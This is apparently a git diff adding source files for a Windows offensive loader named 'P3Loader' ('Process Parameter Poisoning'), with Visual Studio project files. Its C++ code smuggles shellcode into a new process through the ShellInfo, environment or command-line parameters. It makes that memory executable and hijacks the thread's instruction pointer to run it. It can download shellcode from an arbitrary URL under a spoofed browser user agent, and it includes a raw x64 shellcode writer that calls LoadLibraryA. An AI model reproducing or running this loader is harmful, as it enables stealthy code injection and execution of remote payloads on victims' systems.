status = winapi.NtGetContextThread(*hThread, &ctx);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
SetColor(FOREGROUND_RED);
|
||||||
|
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ctx.Rip = (DWORD64)shellcode;
|
||||||
|
|
||||||
|
|
||||||
|
status = winapi.NtSetContextThread(*hThread, &ctx);
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
SetColor(FOREGROUND_RED);
|
||||||
|
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CreateProcessWithPoison(int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) {
|
||||||
|
|
||||||
|
STARTUPINFOW si = { 0 };
|
||||||
|
BOOL success;
|
||||||
|
SetColor(LIGHT_GREEN);
|
||||||
|
|
||||||
|
switch (choice) {
|
||||||
|
case 1:
|
||||||
|
printf("[~] Writing into ShellInfo...\n");
|
||||||
|
si.lpReserved = poisonParameter;
|
||||||
|
success = CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
printf("[~] Writing into Environment block...\n");
|
||||||
|
success = CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi);
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
printf("[~] Writing into CommandLine...\n");
|
||||||
|
success = CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
return success;
|
||||||
|
}
|
||||||
|
|
||||||
|
int wmain(int argc, char** argv) {
|
||||||
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
|
|
||||||
|
BOOL success;
|
||||||
|
|
||||||
|
PROCESS_BASIC_INFORMATION pbi;
|
||||||
|
DWORD retLen;
|
||||||
|
|
||||||
|
SIZE_T bytesRead;
|
||||||
|
|
||||||
|
PEB pebLocal;
|
||||||
|
RTL_USER_PROCESS_PARAMETERS parameters = { sizeof(parameters) };
|
||||||
|
|
||||||
|
PVOID shellcode = nullptr;
|
||||||
|
DWORD oldp = 0;
|
||||||
|
|
||||||
|
unsigned int choice = 0;
|
||||||
|
unsigned int payloadShellcodeChoice = 0;
|
||||||
|
|
||||||
|
char dllPath[MAX_PATH];
|
||||||
|
wchar_t lpApplication[MAX_PATH] = L"C:\\Windows\\System32\\winver.exe";
|
||||||
|
char answer = 0;
|
||||||
|
|
||||||
|
|
||||||
|
SetColor(BRIGHT_CYAN);
|
||||||
|
PrintLogo();
|
||||||
|
|
||||||
|
SetColor(ORANGE);
|
||||||
|
ShowFunctionMenu(&choice, &payloadShellcodeChoice, dllPath, lpApplication);
|
||||||
|
|
||||||
|
|
||||||
|
std::vector<uint8_t> myPayload = BuildShellPayload(payloadShellcodeChoice, dllPath);
|
||||||
|
PWCHAR poisonParameter = reinterpret_cast<PWCHAR>(myPayload.data());
|
||||||
|
|
||||||
|
success = CreateProcessWithPoison(choice, lpApplication, poisonParameter, &pi);
|
||||||
|
|
||||||
|
if (success == FALSE) {
|
||||||
|
SetColor(FOREGROUND_RED);
|
||||||
|
printf("[-] Could not call CreateProcess\n");
|
||||||
|
printf("[!] Error Code: %u\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SetColor(LIGHT_GREEN);
|
||||||
|
printf("\t[+] Process startet with PID: %u\n", pi.dwProcessId);
|
||||||
|
}
|
||||||
|
|
||||||
|
Sleep(1000); // Run target process a bit before getting the PEB address
|
||||||
|
|
||||||
|
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||||
|
|
||||||
|
winapi.NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
|
||||||
|
|
||||||
|
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
|
||||||
|
pi.hProcess, // HANDLE to remote process
|
||||||
|
pbi.PebBaseAddress, // base address to read
|
||||||
|
&pebLocal, // output buffer
|
||||||
|
sizeof(pebLocal), // size to read
|
||||||
|
&bytesRead, // actual bytes read
|
||||||
|
0 // currently unknown, used 0
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
SetColor(FOREGROUND_RED);
|
||||||
|
std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wcout << L"\t[+] PEB read successfully via NtReadVirtualMemoryEx, bytes: " << bytesRead << std::endl;
|
||||||
|
|
||||||
|
status = winapi.NtReadVirtualMemoryEx(
|
||||||
|
pi.hProcess, // HANDLE to remote process
|
||||||
|
pebLocal.ProcessParameters, // base address to read
|
||||||
|
¶meters, // output buffer
|
||||||
|
sizeof(parameters), // size to read
|
||||||
|
&bytesRead, // actual bytes read
|
||||||
|
0
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
SetColor(FOREGROUND_RED);
|
||||||
|
std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (choice) {
|
||||||
|
case 1:
|
||||||
|
shellcode = (uint8_t*)(parameters.ShellInfo.Buffer) + 4 + 4096;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
shellcode = (uint8_t*)(parameters.Environment) + 4 + 4096;;
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
shellcode = (uint8_t*)(parameters.CommandLine.Buffer) + 4 + 4096;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("[-] Invalid choice.\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("\n");
|
||||||
|
SetColor(ORANGE);
|
||||||
|
printf("[!] Shellcode is at 0x%p\n", shellcode);
|
||||||
|
|
||||||
|
|
||||||
|
PVOID base = shellcode;
|
||||||
|
SIZE_T shellcodeSize = myPayload.size() - 4 /* L"A=" */ - 8192 /* 2x Page Size */ - 5 /* env zero terminator */;
|
||||||
|
|
||||||
|
status = winapi.NtProtectVirtualMemory(pi.hProcess, &base, &shellcodeSize, PAGE_EXECUTE_READ, &oldp);
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
std::wcerr << L"[-] NtProtectVirtualMemory failed: 0x" << std::hex << status << std::dec << L"\n";
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("\t[*] Press any key to fire the Shellcode");
|
||||||
|
_getch();
|
||||||
|
|
||||||
|
|
||||||
|
status = ThreadSetExec(&pi.hThread, shellcode);
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
std::wcerr << L"[-] ThreadSetExec failed: 0x" << std::hex << status << std::dec << L"\n";
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wcout << L"\n\t[+] Actions succeeded, exiting.\n";
|
||||||
|
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,144 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>17.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{b63c84fa-6216-425f-8392-ad42fd7a3e8f}</ProjectGuid>
|
||||||
|
<RootNamespace>P3Loader</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="HTTPClient.cpp" />
|
||||||
|
<ClCompile Include="Menu.cpp" />
|
||||||
|
<ClCompile Include="P3-Loader.cpp" />
|
||||||
|
<ClCompile Include="ShellCodeUserInput.cpp" />
|
||||||
|
<ClCompile Include="ShellCodeWriter.cpp" />
|
||||||
|
<ClCompile Include="WinApiResolver.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="HTTPClient.h" />
|
||||||
|
<ClInclude Include="imports.h" />
|
||||||
|
<ClInclude Include="Menu.h" />
|
||||||
|
<ClInclude Include="ShellCodeUserInput.h" />
|
||||||
|
<ClInclude Include="ShellCodeWriter.h" />
|
||||||
|
<ClInclude Include="WinApiResolver.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="P3-Loader.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Menu.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="HTTPClient.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ShellCodeUserInput.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ShellCodeWriter.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="WinApiResolver.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="HTTPClient.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="imports.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Menu.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ShellCodeUserInput.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ShellCodeWriter.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="WinApiResolver.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,142 @@
|
|||||||
|
/**
|
||||||
|
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||||
|
* Project: Process Parameter Poisoning
|
||||||
|
* Notes: Built with and undefined behavior.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#include "ShellCodeUserInput.h"
|
||||||
|
#include "ShellCodeWriter.h"
|
||||||
|
#include "HTTPClient.h"
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
ShellCodeUserInput::ShellCodeUserInput() {}
|
||||||
|
|
||||||
|
bool ShellCodeUserInput::ParseNibble(char c, uint8_t& nibble)
|
||||||
|
{
|
||||||
|
if (c >= 0x30 && c <= 0x39) {
|
||||||
|
nibble = c - 0x30;
|
||||||
|
}
|
||||||
|
else if (c >= 0x41 && c <= 0x46) {
|
||||||
|
nibble = c - 0x41 + 10;
|
||||||
|
}
|
||||||
|
else if (c >= 0x61 && c <= 0x66) {
|
||||||
|
nibble = c - 0x61 + 10;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ShellCodeUserInput::ParseUserShellCode(const std::string& user_shellcode, std::vector<uint8_t>& res, bool& requires_wrap)
|
||||||
|
{
|
||||||
|
// Length needs to be a multiple of four
|
||||||
|
if (user_shellcode.length() % 4) { return false; }
|
||||||
|
uint8_t current_byte = 0;
|
||||||
|
bool prev_zero = false;
|
||||||
|
requires_wrap = false;
|
||||||
|
for (size_t idx = 0; idx < user_shellcode.size(); idx++)
|
||||||
|
{
|
||||||
|
char c = user_shellcode[idx];
|
||||||
|
switch (idx % 4)
|
||||||
|
{
|
||||||
|
case 0: // Backslash
|
||||||
|
if (c != '\\') { return false; }
|
||||||
|
break;
|
||||||
|
case 1: // x
|
||||||
|
if (c != 'x') { return false; }
|
||||||
|
break;
|
||||||
|
case 2: // First nibble
|
||||||
|
{
|
||||||
|
uint8_t nibble = 0;
|
||||||
|
if (!ParseNibble(c, nibble)) { return false; }
|
||||||
|
current_byte = nibble << 4;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 3: // Second nibble
|
||||||
|
{
|
||||||
|
uint8_t nibble = 0;
|
||||||
|
if (!ParseNibble(c, nibble)) { return false; }
|
||||||
|
current_byte |= nibble;
|
||||||
|
if (current_byte == 0 && prev_zero && (idx & 1) == 1) {
|
||||||
|
requires_wrap = true;
|
||||||
|
}
|
||||||
|
res.push_back(current_byte);
|
||||||
|
prev_zero = current_byte == 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> ShellCodeUserInput::GetConsoleInput()
|
||||||
|
{
|
||||||
|
std::string user_shellcode;
|
||||||
|
std::vector<uint8_t> user_shellcode_bytes;
|
||||||
|
bool requires_wrap;
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
printf("\n[>] Enter your shellcode: ");
|
||||||
|
std::cin >> user_shellcode;
|
||||||
|
|
||||||
|
if (ParseUserShellCode(user_shellcode, user_shellcode_bytes, requires_wrap))
|
||||||
|
break;
|
||||||
|
|
||||||
|
printf("[!] Invalid Shellcode Format, expecting e.g. \\xBa\\xad\\xF0\\x0d\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (requires_wrap)
|
||||||
|
{
|
||||||
|
// Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
|
||||||
|
// Using a wrapper that:
|
||||||
|
// 1. Pushes the shellcode to the stack
|
||||||
|
// 2. Allocates READWRITE memory
|
||||||
|
// 3. Copies shellcode from the stack to the newly allocated area
|
||||||
|
// 4. Changes protection of the newly allocated area to EXECUTE_READ
|
||||||
|
// 5. Jumps to the newly allocated area
|
||||||
|
printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
|
||||||
|
ShellCodeWriter w;
|
||||||
|
w.LoadAndCallShellCode(user_shellcode_bytes);
|
||||||
|
return w.GetShellCodeBytes();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return user_shellcode_bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> ShellCodeUserInput::GetURLInput()
|
||||||
|
{
|
||||||
|
//HTTPClient httpClient(L"PPP-Loader/1.0");
|
||||||
|
HTTPClient httpClient(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36");
|
||||||
|
wchar_t downloadUrl[1024];
|
||||||
|
printf("[>] Enter URL: ");
|
||||||
|
wscanf_s(L" %1023[^\n]", downloadUrl, 1024);
|
||||||
|
std::vector<uint8_t> user_shellcode_bytes = httpClient.DownloadURL(downloadUrl);
|
||||||
|
bool requires_wrap = false;
|
||||||
|
for (size_t i = 1; i < user_shellcode_bytes.size(); i++) {
|
||||||
|
if ((i % 1) == 0 && user_shellcode_bytes[i - 1] == 0 && user_shellcode_bytes[i] == 0) {
|
||||||
|
requires_wrap = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (requires_wrap)
|
||||||
|
{
|
||||||
|
// Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation
|
||||||
|
// Using a wrapper that:
|
||||||
|
// 1. Pushes the shellcode to the stack
|
||||||
|
// 2. Allocates READWRITE memory
|
||||||
|
// 3. Copies shellcode from the stack to the newly allocated area
|
||||||
|
// 4. Changes protection of the newly allocated area to EXECUTE_READ
|
||||||
|
// 5. Jumps to the newly allocated area
|
||||||
|
printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n");
|
||||||
|
ShellCodeWriter w;
|
||||||
|
w.LoadAndCallShellCode(user_shellcode_bytes);
|
||||||
|
return w.GetShellCodeBytes();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return user_shellcode_bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
/*
|
||||||
|
* File: ShellCodeUserInput.h
|
||||||
|
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SHELLCODE_USERINPUT_H
|
||||||
|
#define SHELLCODE_USERINPUT_H
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
class ShellCodeUserInput {
|
||||||
|
public:
|
||||||
|
static std::vector<uint8_t> GetConsoleInput();
|
||||||
|
static std::vector<uint8_t> GetURLInput();
|
||||||
|
private:
|
||||||
|
ShellCodeUserInput();
|
||||||
|
static bool ParseUserShellCode(const std::string& user_shellcode, std::vector<uint8_t>& res, bool& requires_wrap);
|
||||||
|
static bool ParseNibble(char c, uint8_t& nibble);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // SHELLCODE_USERINPUT_H
|
||||||
@@ -0,0 +1,270 @@
|
|||||||
|
/**
|
||||||
|
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||||
|
* Project: Process Parameter Poisoning
|
||||||
|
* Notes: Built with ❤️ and undefined behavior.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "ShellCodeWriter.h"
|
||||||
|
#include "WinApiResolver.h"
|
||||||
|
|
||||||
|
ShellCodeWriter::ShellCodeWriter() : m_total_consumed_stack_bytes(0) {}
|
||||||
|
|
||||||
|
std::vector<uint8_t> ShellCodeWriter::GetShellCodeBytes() { return m_sc_bytes; }
|
||||||
|
|
||||||
|
void ShellCodeWriter::CallMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
|
||||||
|
{
|
||||||
|
int title_pos = 0;
|
||||||
|
size_t title_size = strlen(lpCaption);
|
||||||
|
int text_pos = title_size + 1;
|
||||||
|
size_t text_size = strlen(lpText);
|
||||||
|
|
||||||
|
// Combine both text and title into one string
|
||||||
|
std::vector<uint8_t> title_text_combined;
|
||||||
|
title_text_combined.insert(title_text_combined.end(), lpCaption, lpCaption + title_size + 1);
|
||||||
|
title_text_combined.insert(title_text_combined.end(), lpText, lpText + text_size + 1);
|
||||||
|
|
||||||
|
PushBuffer(title_text_combined.data(), title_text_combined.size());
|
||||||
|
int stack_pos_buf = m_total_consumed_stack_bytes;
|
||||||
|
|
||||||
|
// Shadow Space
|
||||||
|
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
|
||||||
|
m_total_consumed_stack_bytes += 32;
|
||||||
|
|
||||||
|
// Populate arg registers
|
||||||
|
SetArgRegister(0, (uint64_t)hWnd);
|
||||||
|
SetArgRegisterStackRelative(1, (m_total_consumed_stack_bytes - stack_pos_buf) + text_pos); // lpText
|
||||||
|
SetArgRegisterStackRelative(2, (m_total_consumed_stack_bytes - stack_pos_buf) + title_pos); // lpCaption
|
||||||
|
SetArgRegister(3, uType);
|
||||||
|
|
||||||
|
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||||
|
Call((uint64_t)winapi.MessageBoxA);
|
||||||
|
FreeStack();
|
||||||
|
}
|
||||||
|
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
|
||||||
|
{
|
||||||
|
PushBuffer(module, strlen(module) + 1);
|
||||||
|
int stack_pos_buf = m_total_consumed_stack_bytes;
|
||||||
|
|
||||||
|
// Shadow Space
|
||||||
|
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
|
||||||
|
m_total_consumed_stack_bytes += 32;
|
||||||
|
|
||||||
|
// Populate arg registers
|
||||||
|
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - stack_pos_buf));
|
||||||
|
|
||||||
|
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||||
|
Call((uint64_t)winapi.LoadLibraryA);
|
||||||
|
}
|
||||||
|
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
|
||||||
|
{
|
||||||
|
PushBuffer(shellcode.data(), shellcode.size()); // 1. Pushes the shellcode to the stack
|
||||||
|
int stack_pos_user_sc = m_total_consumed_stack_bytes;
|
||||||
|
|
||||||
|
// Shadow Space
|
||||||
|
